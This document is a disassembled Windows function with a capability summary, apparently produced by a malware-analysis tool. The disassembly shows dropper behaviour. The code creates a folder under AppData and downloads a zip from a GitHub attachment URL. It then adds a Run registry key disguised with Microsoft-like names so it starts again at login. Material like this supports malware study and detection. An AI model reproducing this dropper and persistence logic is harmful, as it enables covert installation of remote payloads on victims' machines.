Function at 0x1400021a0
Capabilities:
Create directory
Delete file
Download url
Get common file path
Persist via run registry key
Query environment variable
Receive data
Set registry value

Disassembly:
mov qword [rsp + 0x20], rbx
push rbp
push rdi
push r12
lea rbp, [rsp - 0x1e0]
sub rsp, 0x2e0
mov rax, qword [0x14000a040]
xor rax, rsp
mov qword [rbp + 0x1d0], rax
call fcn.1400012f0
lea rax, [rbp - 0x40]
xor r9d, r9d
xor r8d, r8d
mov qword [rsp + 0x20], rax
mov edx, 0x1a
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_SHGetFolderPathW]
test eax, eax
lea rcx, [0x140006688]
lea rdx, [rbp - 0x40]
cmovs rdx, rcx
lea rcx, [rsp + 0x58]
call fcn.140003400
mov rcx, qword [rsp + 0x70]
xor r12d, r12d
mov rdi, qword [rsp + 0x68]
mov rax, rcx
sub rax, rdi
cmp rax, 0x17
jb 0x140002259
cmp rcx, 7
lea rax, [rdi + 0x17]
lea rbx, [rsp + 0x58]
mov qword [rsp + 0x68], rax
cmova rbx, qword [rsp + 0x58]
lea rdx, str.MicrosoftWindowsHost
mov r8d, 0x2e
lea rcx, [rbx + rdi*2]
call sub.VCRUNTIME140.dll_memmove
lea rax, [rsp + 0x58]
mov word [rbx + rdi*2 + 0x2e], r12w
jmp 0x140002278
lea r9, str.MicrosoftWindowsHost
mov qword [rsp + 0x20], 0x17
mov edx, 0x17
lea rcx, [rsp + 0x58]
call fcn.1400045e0
mov qword [rbp - 0x78], r12
xorps xmm0, xmm0
movups xmmword [rsp + 0x78], xmm0
mov qword [rbp - 0x70], r12
mov ebx, 7
movups xmm0, xmmword [rax]
movups xmmword [rsp + 0x78], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp - 0x78], xmm1
mov qword [rax + 0x10], r12
mov qword [rax + 0x18], rbx
mov word [rax], r12w
mov rdx, qword [rsp + 0x70]
cmp rdx, rbx
jbe 0x1400022ed
mov rcx, qword [rsp + 0x58]
lea rdx, [rdx*2 + 2]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400022e8
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400022e8
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140004abc
cmp qword [rbp - 0x70], rbx
lea rcx, [rsp + 0x78]
mov qword [rsp + 0x308], r14
cmova rcx, qword [rsp + 0x78]
xor edx, edx
call qword [sym.imp.KERNEL32.dll_CreateDirectoryW]
mov r14, qword [rbp - 0x78]
movabs rcx, 0x7ffffffffffffffe
mov rax, rcx
sub rax, r14
cmp rax, 0xc
jb 0x140002720
cmp qword [rbp - 0x70], rbx
lea rdi, [rsp + 0x38]
mov qword [rsp + 0x300], rsi
xorps xmm0, xmm0
mov qword [rsp + 0x310], r15
lea rsi, [r14 + 0xc]
lea r15, [rsp + 0x78]
xorps xmm1, xmm1
cmova r15, qword [rsp + 0x78]
movups xmmword [rsp + 0x38], xmm0
movdqu xmmword [rsp + 0x48], xmm1
cmp rsi, rbx
jbe 0x1400023f8
mov rbx, rsi
or rbx, 7
cmp rbx, rcx
jbe 0x1400023be
movabs rax, 0x7fffffffffffffff
mov rbx, rcx
lea rcx, [rax + rax]
cmp rcx, 0x1000
jb 0x1400023eb
lea rax, [rcx + 0x27]
cmp rax, rcx
jbe 0x14000271a
mov rcx, rax
call fcn.140004840
test rax, rax
je 0x1400026d1
lea rdi, [rax + 0x27]
and rdi, 0xffffffffffffffe0
mov qword [rdi - 8], rax
jmp 0x1400023f3
mov eax, 0xa
cmp rbx, rax
cmovb rbx, rax
movabs rax, 0x7fffffffffffffff
lea rcx, [rbx + 1]
cmp rcx, rax
ja 0x14000271a
add rcx, rcx
jne 0x140002389
mov rdi, r12
jmp 0x1400023f3
call fcn.140004840
mov rdi, rax
mov qword [rsp + 0x38], rdi
mov qword [rsp + 0x50], rbx
mov rdx, r15
lea rbx, [r14 + r14]
mov qword [rsp + 0x48], rsi
mov r8, rbx
mov rcx, rdi
call sub.VCRUNTIME140.dll_memcpy
movups xmm0, xmmword [str.Content.zip]
lea rdx, str.https:__github.com_user_attachments_files_16474277_Content.zip
lea rcx, [rbp - 0x68]
movups xmmword [rdi + rbx], xmm0
movsd xmm0, qword [0x1400068a0]
movsd qword [rdi + rbx + 0x10], xmm0
mov word [rdi + rsi*2], r12w
call fcn.140003400
cmp qword [rsp + 0x50], 7
lea r8, [rsp + 0x38]
lea rdx, [rbp - 0x68]
mov qword [rsp + 0x20], r12
cmova r8, qword [rsp + 0x38]
cmp qword [rbp - 0x50], 7
cmova rdx, qword [rbp - 0x68]
xor r9d, r9d
xor ecx, ecx
call qword [sym.imp.urlmon.dll_URLDownloadToFileW]
mov ebx, eax
test eax, eax
jns 0x1400024a5
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t___std::wcerr]
lea rdx, str.Error_downloading_zip_file:
call fcn.140003a90
mov rcx, rax
mov edx, ebx
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64___cdecl_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t__::operator___long_int____ptr64]
mov rcx, rax
lea rdx, [0x140003c70]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64___cdecl_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t__::operator___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64____cdecl___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64_____ptr64]
lea rdx, [rsp + 0x78]
lea rcx, [rsp + 0x38]
call fcn.140001580
cmp qword [rsp + 0x50], 7
lea rcx, [rsp + 0x38]
cmova rcx, qword [rsp + 0x38]
call qword [sym.imp.KERNEL32.dll_DeleteFileW]
test eax, eax
jne 0x140002505
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t___std::wcerr]
lea rdx, str.Error_removing_file:
mov ebx, eax
call fcn.140003a90
mov rcx, rax
mov edx, ebx
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64___cdecl_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t__::operator___unsigned_long_int____ptr64]
mov rcx, rax
lea rdx, [0x140003c70]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64___cdecl_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t__::operator___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64____cdecl___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64_____ptr64]
cmp qword [0x14000a9a8], 7
lea rcx, [0x14000a990]
mov r8d, 0x104
lea rdx, [rbp - 0x40]
cmova rcx, qword [0x14000a990]
call qword [sym.imp.KERNEL32.dll_ExpandEnvironmentStringsW]
lea rdx, [rbp - 0x40]
lea rcx, [rsp + 0x58]
call fcn.140003400
lea rax, [rsp + 0x30]
mov r9d, 2
xor r8d, r8d
mov qword [rsp + 0x20], rax
lea rdx, str.SoftwareMicrosoftWindowsCurrentVersionRun
mov rcx, 0xffffffff80000001
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
jne 0x1400025b0
mov eax, dword [rsp + 0x68]
lea rcx, [rsp + 0x58]
cmp qword [rsp + 0x70], 7
lea rdx, str.com.microsoft.update
mov r9d, 1
cmova rcx, qword [rsp + 0x58]
xor r8d, r8d
lea eax, [rax*2 + 2]
mov dword [rsp + 0x28], eax
mov qword [rsp + 0x20], rcx
mov rcx, qword [rsp + 0x30]
call qword [sym.imp.ADVAPI32.dll_RegSetValueExW]
mov rcx, qword [rsp + 0x30]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov rdx, qword [rsp + 0x70]
cmp rdx, 7
jbe 0x1400025f5
mov rcx, qword [rsp + 0x58]
lea rdx, [rdx*2 + 2]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400025f0
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400025f0
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140004abc
mov rdx, qword [rbp - 0x50]
cmp rdx, 7
jbe 0x140002635
mov rcx, qword [rbp - 0x68]
lea rdx, [rdx*2 + 2]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140002630
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400026d1
call fcn.140004abc
mov rdx, qword [rsp + 0x50]
movdqa xmm0, xmmword [0x1400069f0]
mov word [rbp - 0x68], r12w
movdqu xmmword [rbp - 0x58], xmm0
cmp rdx, 7
jbe 0x14000268d
mov rcx, qword [rsp + 0x38]
lea rdx, [rdx*2 + 2]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140002680
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400026d1
call fcn.140004abc
movdqa xmm0, xmmword [0x1400069f0]
mov rdx, qword [rbp - 0x70]
mov word [rsp + 0x38], r12w
movdqu xmmword [rsp + 0x48], xmm0
cmp rdx, 7
jbe 0x1400026dd
mov rcx, qword [rsp + 0x78]
lea rdx, [rdx*2 + 2]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400026d8
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400026d8
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140004abc
mov rsi, qword [rsp + 0x300]
xor eax, eax
mov r15, qword [rsp + 0x310]
mov r14, qword [rsp + 0x308]
mov rcx, qword [rbp + 0x1d0]
xor rcx, rsp
call fcn.140004820
mov rbx, qword [rsp + 0x318]
add rsp, 0x2e0
pop r12
pop rdi
pop rbp
ret
call fcn.140001170
int3
call fcn.140001210
int3